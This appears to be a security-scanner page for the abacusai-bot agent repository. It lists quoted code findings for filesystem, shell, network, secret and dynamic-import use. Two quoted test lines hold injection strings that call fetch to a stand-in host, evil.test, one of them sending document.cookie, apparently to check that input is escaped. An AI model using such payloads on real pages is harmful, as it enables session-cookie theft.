github TypeScript analyzed ba2c89b

abacusai/abacusai-bot

github

100% free, open-source personal agents for your messaging apps, tools, and services

maintainer
abacusai
licence
MIT
first seen
2026-09-11
last seen
2026-09-17
releases · 30d
4
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 0 tools
transport http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit ba2c89b · analyzer v33 · 38m ago

skills & prompt files 8

danger signals9

code evidence vv1.0.78 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 1023

filesystem 236

  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/build-experience.js :12 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/check-jsx-i18n.js :31 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/check-packaged-resources.js :23 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/generate-notices.js :1 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/sync-locales.js :15 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/agent-import-surface.test.ts :1 import { readdirSync, readFileSync, statSync } from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/agent-runtime-deps.test.ts :31 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/ghostty-scrollback.browser.test.ts :21 import { readFileSync } from "node:fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/index.ts :5 import { existsSync, mkdirSync } from "fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/local-open-guard.test.ts :7 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/local-open-guard.ts :8 import fs from "fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/packaged-startup.test.ts :2 import { existsSync, readFileSync } from "node:fs";
show 28 more
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/profile-home.test.ts :1 import fs from "node:fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/profile-home.ts :1 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/service-host.ts :1 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/cron-store.test.ts :1 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/cron-store.ts :9 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/deck-agent.ts :7 import fs from "fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/deck-pdf.ts :7 import fs from "fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/deck-pptx-export.ts :9 import fs from "fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/design-agent.ts :9 import fs from "fs/promises";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/document-images.test.ts :1 import fs from "node:fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/document-images.ts :9 import fs from "fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/document-pdf.ts :6 import fs from "fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/generated-files.ts :8 import fs from "fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/integrations.test.ts :11 import { mkdtempSync, rmSync } from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/memory-store-parity.test.ts :16 import fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/memory-store.test.ts :9 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/memory-store.ts :8 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/pdf-agent.ts :8 import fs from "fs/promises";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/python-env.test.ts :12 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/python-env.ts :8 import fs from "fs/promises";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/routine-runs-store.test.ts :1 import * as fs from "node:fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/routine-runs-store.ts :10 import * as fs from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/static-server-parity.test.ts :10 import { readFileSync } from "node:fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/static-server.test.ts :8 import fs from "node:fs/promises";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/static-server.ts :7 import fs from "fs/promises";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/webhook-relay.test.ts :7 import fs from "fs";
  • fs (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/webhook-service.test.ts :1 import fs from "fs";
  • fs abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/bots/bot-memory-store.ts :7 import fs from "fs";

196 more not shown — this panel samples each group; the count above is the real total.

shell / exec 52

  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/before-pack.cjs :1 const { execFileSync } = require("node:child_process");
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/build-experience.js :11 import { execFileSync } from "node:child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/scripts/check-packaged-resources.js :22 import { spawnSync } from "node:child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/agent-runtime-deps.test.ts :30 import { execFileSync } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/index.ts :4 import { execFile } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/packaged-startup.test.ts :1 import { execFileSync } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/service-host.ts :3015 * Built-in groups take effect at the next spawn (pi is handed its tool list
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/pdf-agent.ts :7 import { execFile } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/python-env.test.ts :11 import type { execFile as ExecFileType } from "child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/python-env.ts :7 import { execFile } from "child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/browser/browser-profiles-service.ts :1 import { spawn, execFile, type ChildProcess } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/browser/browser-snapshot-harness.ts :6 import { execFileSync } from "child_process";
show 28 more
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/android-input-client.test.ts :24 const actual = await importOriginal<typeof import("child_process")>();
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/android-input-client.ts :1 import { spawn, type ChildProcessByStdio } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/android-scrcpy-service.test.ts :43 const actual = await importOriginal<typeof import("child_process")>();
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/android-scrcpy-service.ts :1 import { spawn, execFile, type ChildProcess } from "child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/device-service.ts :1 import { execFile, execFileSync, spawn } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/device-stream-service.test.ts :26 const actual = await importOriginal<typeof import("child_process")>();
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/device-stream-service.ts :1 import { spawn, type ChildProcessByStdio } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/ios-stream-service.test.ts :27 const actual = await importOriginal<typeof import("child_process")>();
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/ios-stream-service.ts :1 import { spawn, type ChildProcessByStdio } from "child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/sim-input-client.ts :1 import { spawn, execFile, type ChildProcessByStdio } from "child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/exec-backend-service.ts :6 import { execFileSync } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/sandbox/sandbox-probe-service.ts :1 import { execFile } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/session/cli-manager-service.ts :5 } from "child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/updates/experience/health-check.ts :8 import { spawn } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/file-tree-service.ts :1 import { execFile } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/git-porcelain.test.ts :15 import { execFileSync } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/git-service.ts :1 import { execFile } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/git-service.worktrees.test.ts :1 import { execFile } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/terminal-session-service.ts :159 return spawn(shell.file, shell.args, {
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/windows-shell.test.ts :16 import { spawnSync } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/apps/desktop/src/renderer/components/chat/chat-panel.tsx :1122 // races the CLI spawn (stdin not yet wired) and the command silently drops.
  • shell (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/shared/desktop-notices.test.ts :1 import { execFileSync } from "node:child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/scripts/download-tools.js :38 import { execFileSync } from "node:child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/backends.spawn.test.ts :303 const running = exec(operations, "ls", "/Users/dev/project");
  • shell (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/backends.test.ts :1 import { spawnSync } from "node:child_process";
  • shell abacusai-abacusai-bot-ba2c89b/packages/agent/src/backends.ts :1 import { spawn } from "child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/bundled-tools.test.ts :12 import { execFileSync } from "node:child_process";
  • shell (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/extensions/test-runner.test.ts :11 import { execFileSync } from "child_process";

12 more not shown — this panel samples each group; the count above is the real total.

network 59

  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/index.ts :1509 const response = await fetch(url, {
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/document-images.test.ts :15 import http from "node:http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/document-images.ts :70 const response = await fetch(url, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/generated-files.ts :85 const response = await fetch(url, {
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/integrations.test.ts :12 import { createServer, type Server } from "node:http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/integrations.ts :21 const response = await fetch(url, { ...init, signal: controller.signal });
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/media-generation.ts :57 const response = await fetch(url, { ...init, signal: controller.signal });
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/model-analysis.ts :47 const response = await fetch(url, {
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/static-server.test.ts :47 const response = await fetch(served.url);
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/static-server.ts :8 import http from "http";
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/webhook-relay.test.ts :8 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/webhook-relay.ts :182 const response = await fetch(`${abacusRoutellmV1()}${endpoint}`, {
show 28 more
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/webhook-service.test.ts :44 fetch(url, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/webhook-service.ts :7 import http from "http";
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/browser/browser-actions.test.ts :272 expect(scroll('0); fetch("https://evil.test/"+document.cookie); (0')).toBe(
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/browser/browser-page-scripts.test.ts :491 const nasty = `"); fetch("https://evil.test"); ("`;
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/browser/browser-profiles-service.ts :6 import * as http from "node:http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/device/android-scrcpy-service.ts :3 import net from "net";
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/agent-tools-list-changed.test.ts :11 import http from "http";
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/builtin-permission.test.ts :47 const res = await fetch(`http://127.0.0.1:${port}${path}`, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/mcp-admin-service.ts :374 const response = await fetch(
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/mcp-agent-tools-server.ts :2 import http from "http";
  • net (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/mcp-browser-server.test.ts :239 const res = await fetch(`http://127.0.0.1:${port}/mcp?session=${session}`, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/mcp-browser-server.ts :2 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/mcp-device-server.ts :2 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/mcp/mcp-oauth-service.ts :3 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/messaging/abacus-channels-connector.ts :483 const response = await fetch(
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/messaging/whatsapp-bridge.ts :459 msgs = await fetch(jid);
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/abacus-auth-service.ts :2 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/abacus-connector-service.ts :2 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/abacus.ts :189 const response = await fetch(`${abacusRoutellmV1()}/models`, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/groq.ts :34 const response = await fetch(CATALOG_URL, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/openrouter-auth-service.ts :2 import http from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/openrouter.ts :70 const response = await fetch(CATALOG_URL, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/updates/experience/app-protocol.ts :60 return net.fetch(pathToFileURL(file).href);
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/updates/update-service.ts :293 const res = await fetch(RELEASE_METADATA_URL, {
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/workspace/skills-service.ts :2 import https from "https";
  • net abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/spellcheck-dictionary.ts :3 import { createServer } from "http";
  • net abacusai-abacusai-bot-ba2c89b/apps/updater/src/server.ts :3 import http from "node:http";
  • net (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/custom-instructions.integration.test.ts :13 import * as http from "node:http";

19 more not shown — this panel samples each group; the count above is the real total.

secrets 11

  • secrets (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/integrations.test.ts :82 process.env.XAI_API_KEY = "test-key";
  • secrets abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/config/settings.ts :173 (process.env.XAI_API_KEY ?? "").trim().length > 0 ||
  • secrets (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/usage.test.ts :63 delete process.env.OPENROUTER_API_KEY;
  • secrets abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/usage.ts :34 const fromEnv = process.env.OPENROUTER_API_KEY;
  • secrets abacusai-abacusai-bot-ba2c89b/packages/agent/src/github-prompt.ts :7 const token = process.env.GH_TOKEN ?? process.env.GITHUB_TOKEN ?? "";
  • secrets abacusai-abacusai-bot-ba2c89b/packages/agent/src/openrouter-live.ts :30 apiKey = (process.env.OPENROUTER_API_KEY ?? "").trim(),
  • secrets (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/providers.gemini.test.ts :39 savedKey = process.env.GEMINI_API_KEY;
  • secrets abacusai-abacusai-bot-ba2c89b/packages/agent/src/providers.ts :145 const apiKey = (process.env.GEMINI_API_KEY ?? "").trim();
  • secrets (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/session.test.ts :75 const previousModel = process.env.ANTHROPIC_API_KEY;
  • secrets (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/web/dedupe.test.ts :18 const key = process.env.ANTHROPIC_API_KEY;
  • secrets (weak) abacusai-abacusai-bot-ba2c89b/packages/agent/src/web/search.test.ts :48 process.env.ANTHROPIC_API_KEY = "sk-ant-test-key";

declared dependencies 6

  • @abacus-ai/config@workspace:*
  • @types/node@catalog:
  • oxfmt@catalog:
  • oxlint@catalog:
  • turbo@catalog:
  • typescript@catalog:

obfuscation 1

  • dynamic require()/import() abacusai-abacusai-bot-ba2c89b/packages/agent/src/memory-store.test.ts :375 const { applyMemoryAction } = await import(${JSON.stringify(

perm:untrusted 2

  • untrusted (weak) abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/agent-tools/static-server.test.ts :60 expect(await (await fetch(served.url)).text()).toContain("Home");
  • untrusted abacusai-abacusai-bot-ba2c89b/apps/desktop/src/main/services/providers/abacus-auth-service.ts :341 fetch(url, { cache: "no-store" }).then(function (r) { return r.json(); }).then(function (o) {